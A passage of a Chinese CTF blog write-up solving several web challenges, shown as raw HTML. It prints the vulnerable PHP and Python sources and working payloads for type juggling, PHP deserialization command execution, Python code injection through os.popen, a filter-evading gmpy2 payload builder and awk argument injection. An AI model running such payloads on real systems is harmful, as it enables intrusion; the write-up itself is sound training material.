class=\"wp-block-code\"><code>&lt;?php\nhighlight_file(__FILE__);&nbsp;\ninclude&nbsp;\"flag.php\";&nbsp;&nbsp;\nif&nbsp;(isset($_GET&#91;'num'])){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($_GET&#91;'num']&nbsp;==&nbsp;114514&nbsp;&amp;&amp;&nbsp;check($_GET&#91;'num'])){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;assert(\"intval($_GET&#91;num])==1919810\")&nbsp;or&nbsp;die(\"\u4e00\u8a00\u65e2\u51fa\uff0c\u9a77\u9a6c\u96be\u8ffd!\");\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;$flag;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;\n}&nbsp;\n\nfunction&nbsp;check($str){\n&nbsp;&nbsp;return&nbsp;!preg_match(\"\/&#91;a-z]|\\;|\\(|\\)\/\",$str);\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>?num=114514%2b1805296<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">TapTapTap<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-67-1024x561.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"561\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-67-1024x561.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-661\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"883\" height=\"651\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-662\"  sizes=\"auto, (max-width: 883px) 100vw, 883px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/3-7-1024x283.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"283\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/3-7-1024x283.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-663\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u611f\u89c9\u548cweb\u6ca1\u5565\u5173<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Webshell<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php \n    error_reporting(0);\n\n    class Webshell {\n        public $cmd = 'echo \"Hello World!\"';\n\n        public function __construct() {\n            $this-&gt;init();\n        }\n\n        public function init() {\n            if (!preg_match('\/flag\/i', $this-&gt;cmd)) {\n                $this-&gt;exec($this-&gt;cmd);\n            }\n        }\n\n        public function exec($cmd) {\n            $result = shell_exec($cmd);\n            echo $result;\n        }\n    }\n\n    if(isset($_GET&#91;'cmd'])) {\n        $serializecmd = $_GET&#91;'cmd'];\n        $unserializecmd = unserialize($serializecmd);\n        $unserializecmd-&gt;init();\n    }\n    else {\n        highlight_file(__FILE__);\n    }\n\n?&gt;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nclass Webshell {\npublic $cmd = 'cat *';\n}\n$a=new Webshell();\necho serialize($a);\n?&gt; \n#O:8:\"Webshell\":1:{s:3:\"cmd\";s:5:\"cat *\";} <\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-63.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"653\" height=\"359\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-63.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-650\"  sizes=\"auto, (max-width: 653px) 100vw, 653px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u5316\u96f6\u4e3a\u6574<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\nhighlight_file(__FILE__);\ninclude&nbsp;\"flag.php\";\n\n$result='';\n\nfor&nbsp;($i=1;$i&lt;=count($_GET);$i++){\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(strlen($_GET&#91;$i])&gt;1){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(\"\u4f60\u592a\u957f\u4e86\uff01\uff01\");\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}\n&nbsp;&nbsp;&nbsp;&nbsp;else{\n&nbsp;&nbsp;&nbsp;&nbsp;$result=$result.$_GET&#91;$i];\n&nbsp;&nbsp;&nbsp;&nbsp;}\n}\n\nif&nbsp;($result&nbsp;===\"\u5927\u725b\"){\n&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;$flag;\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>?1=%E5&amp;2=%A4&amp;3=%A7&amp;4=%E7&amp;5=%89&amp;6=%9B<\/code><\/pre>\n\n\n\n<p>\u539f\u7406\u5f88\u7b80\u5355\uff0c&#8221;\u5927\u725b&#8221; = \u201c%E5%A4%A7%E7%89%9B\u201d\uff0c\u800c\u6211\u4eec\u4f20\u5165\u7684\u5b57\u7b26\u957f\u5ea6\u4e0d\u80fd\u5927\u4e8e\u4e00\uff0c\u6240\u4ee5\u62c6\u5f00\u62fc\u6210\u201c\u5927\u725b\u201c\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u65e0\u4e00\u5e78\u514d<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\ninclude&nbsp;\"flag.php\";\nhighlight_file(__FILE__);\n\nif&nbsp;(isset($_GET&#91;'0'])){\n&nbsp;&nbsp;&nbsp;&nbsp;$arr&#91;$_GET&#91;'0']]=1;\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($arr&#91;]=1){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die($flag);\n&nbsp;&nbsp;&nbsp;&nbsp;}\n&nbsp;&nbsp;&nbsp;&nbsp;else{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(\"nonono!\");\n&nbsp;&nbsp;&nbsp;&nbsp;}\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>?0=0<\/code><\/pre>\n\n\n\n<p>\u4e0d\u77e5\u9053\u8003\u70b9\u662f\u5565<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4f20\u8bf4\u4e4b\u4e0b\uff08\u96fe\uff09<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-68-1024x528.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"528\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-68-1024x528.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-666\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u7b97\u529b\u8d85\u7fa4<\/h2>\n\n\n\n<p>\u4e00\u773cssti<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-69-1024x489.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"489\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-69-1024x489.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-667\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\/_calculate?number1=&amp;operator=&amp;number2=__import__(%27os%27).popen(%27cat%20\/f*%27).read()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u7b97\u529b\u5347\u7ea7<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>import gmpy2\ns = \" __import__('os').popen('cat \/flag').read()\"\n\n\npayload = \"gmpy2.__builtins__&#91;'erf'&#91;0]+'div'&#91;2]+'ai'&#91;0]+'lcm'&#91;0]](\"\n\nfor i in s:\n    if i not in \"\/'(). \":\n        temp_index = 0   # \u5b9a\u4e49\u4e34\u65f6\u4e0b\u6807\n        temp_string = ''  # \u5b9a\u4e49\u4e34\u65f6\u5b57\u7b26\u4e32\n        for j in dir(gmpy2):\n            if j.find(i) &gt;= 0:\n                temp_string = j\n                temp_index = j.find(i)\n        payload += f'\"{temp_string}\"&#91;{temp_index}]+'\n    else:\n        payload += f'\"{i}\"+'\n\npayload = payload&#91;:-1]+')'   # \u6700\u540e\u4e00\u4f4d\u662f\u4e2a+\u53f7\uff0c\u8981\u7ed9\u53bb\u6389\n\nprint(payload)\n#gmpy2.__builtins__&#91;'erf'&#91;0]+'div'&#91;2]+'ai'&#91;0]+'lcm'&#91;0]](\" \"+\"xbit_mask\"&#91;4]+\"xbit_mask\"&#91;4]+\"xbit_mask\"&#91;2]+\"xmpz\"&#91;1]+\"xmpz\"&#91;2]+\"zero\"&#91;3]+\"zero\"&#91;2]+\"zeta\"&#91;2]+\"xbit_mask\"&#91;4]+\"xbit_mask\"&#91;4]+\"(\"+\"'\"+\"zero\"&#91;3]+\"xbit_mask\"&#91;7]+\"'\"+\")\"+\".\"+\"xmpz\"&#91;2]+\"zero\"&#91;3]+\"xmpz\"&#91;2]+\"zeta\"&#91;1]+\"yn\"&#91;1]+\"(\"+\"'\"+\"unpack\"&#91;4]+\"zeta\"&#91;3]+\"zeta\"&#91;2]+\" \"+\"\/\"+\"root_of_unity\"&#91;6]+\"rint_floor\"&#91;6]+\"zeta\"&#91;3]+\"sign\"&#91;2]+\"'\"+\")\"+\".\"+\"zero\"&#91;2]+\"zeta\"&#91;1]+\"zeta\"&#91;3]+\"t_mod_2exp\"&#91;4]+\"(\"+\")\")<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-76-1024x410.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"410\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-76-1024x410.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-679\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">easyPytHon_P<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>from&nbsp;flask&nbsp;import&nbsp;request\ncmd:&nbsp;str&nbsp;=&nbsp;request.form.get('cmd')\nparam:&nbsp;str&nbsp;=&nbsp;request.form.get('param')\n#&nbsp;-------------------------------------&nbsp;Don't&nbsp;modify&nbsp;\u2191&nbsp;them&nbsp;\u2191!&nbsp;But&nbsp;you&nbsp;can&nbsp;write&nbsp;your&nbsp;code&nbsp;\u2193\nimport&nbsp;subprocess,&nbsp;os\nif&nbsp;cmd&nbsp;is&nbsp;not&nbsp;None&nbsp;and&nbsp;param&nbsp;is&nbsp;not&nbsp;None:\n&nbsp;&nbsp;&nbsp;&nbsp;try:\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tVar&nbsp;=&nbsp;subprocess.run(&#91;cmd&#91;:3],&nbsp;param,&nbsp;__file__],&nbsp;cwd=os.getcwd(),&nbsp;timeout=5)\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print('Done!')\n&nbsp;&nbsp;&nbsp;&nbsp;except&nbsp;subprocess.TimeoutExpired:\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print('Timeout!')\n&nbsp;&nbsp;&nbsp;&nbsp;except:\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print('Error!')\nelse:\n&nbsp;&nbsp;&nbsp;&nbsp;print('No&nbsp;Flag!')<\/code><\/pre>\n\n\n\n<p>\u5173\u952e\u5728\u4e8e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>tVar&nbsp;=&nbsp;subprocess.run(&#91;cmd&#91;:3],&nbsp;param,&nbsp;__file__],&nbsp;cwd=os.getcwd(),&nbsp;timeout=5)<\/code><\/pre>\n\n\n\n<p>\u4f5c\u7528\u5c31\u662f\u5bf9\u5f53\u524d\u76ee\u5f55\u6267\u884c[cmd[:3],&nbsp;param,&nbsp;__file__]\uff0c\u5176\u4e2dcmd\u534a\u53ef\u63a7\uff0cparam\u53ef\u63a7_file_\u662f\u4e2a\u56fa\u5b9a\u503c\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-88-1024x601.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"601\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-88-1024x601.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-697\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u6837\u5c31\u53ef\u4ee5\u6267\u884cls \/<\/p>\n\n\n\n<p>\u6545cmd=awk&amp;param=system(&#8220;cat *&#8221;)\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-89-1024x427.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"427\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-89-1024x427.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-698\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6216\u8005\u4e5f\u53ef\u4ee5\u5148<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cmd=ls&amp;param=.  #.\u662f\u5f53\u524d\u76ee\u5f55<\/code><\/pre>\n\n\n\n<p>\u518d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cmd=cat&amp;param=flag.txt<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-90.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"838\" height=\"815\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-90.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-699\"  sizes=\"auto, (max-width: 838px) 100vw, 838px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u904d\u5730\u98d8\u96f6<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\ninclude&nbsp;\"flag.php\";\nhighlight_file(__FILE__);\n\n$zeros=\"000000000000000000000000000000\";\n\nforeach($_GET&nbsp;as&nbsp;$key&nbsp;=&gt;&nbsp;$value){\n&nbsp;&nbsp;&nbsp;&nbsp;$$key=$$value;\n}\n\nif&nbsp;($flag==\"000000000000000000000000000000\"){\n&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"\u597d\u591a\u96f6\";\n}else{\n&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"\u6ca1\u6709\u96f6\uff0c\u4ed4\u7ec6\u770b\u770b\u8f93\u5165\u6709\u4ec0\u4e48\u95ee\u9898\u5427\";\n&nbsp;&nbsp;&nbsp;&nbsp;var_dump($_GET);\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>?_GET=flag<\/code><\/pre>\n\n\n\n<p>\u6ca1\u627e\u5230\u8003\u70b9<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u8336\u6b47\u533a<\/h2>\n\n\n\n<p>\u8003\u70b9\u662f\u6574\u5f62\u6ea2\u51fa\uff0cphp\u65e0\u6cd5\u8ba1\u7b97\u592a\u5927\u7684\u6570\uff0c<code>999999999999999999<\/code>\u592a\u591a\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-75-1024x582.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"582\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-75-1024x582.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-676\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><code>3446744073709551616<\/code>\u5dee\u4e0d\u591a\uff0c\u62ff\u5230flag\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-13-1024x549.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"549\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-13-1024x549.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-677\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u5c0f\u8214\u7530\uff1f<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\ninclude&nbsp;\"flag.php\";\nhighlight_file(__FILE__);\n\nclass&nbsp;Moon{\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;$name=\"\u6708\u4eae\";\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;__toString(){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;name;\n&nbsp;&nbsp;&nbsp;&nbsp;}\n&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;__wakeup(){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"\u6211\u662f\".$this-&gt;name.\"\u5feb\u6765\u8d4f\u6211\";\n&nbsp;&nbsp;&nbsp;&nbsp;}\n}\n\nclass&nbsp;Ion_Fan_Princess{\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;$nickname=\"\u725b\u592b\u4eba\";\n\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;call(){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;$flag;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($this-&gt;nickname==\"\u5c0f\u751c\u751c\"){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;$flag;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"\u4ee5\u524d\u966a\u6211\u770b\u6708\u4eae\u7684\u65f6\u5019\uff0c\u53eb\u4eba\u5bb6\u5c0f\u751c\u751c\uff01\u73b0\u5728\u65b0\u4eba\u80dc\u65e7\u4eba\uff0c\u53eb\u4eba\u5bb6\".$this-&gt;nickname.\"\u3002\\n\";\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n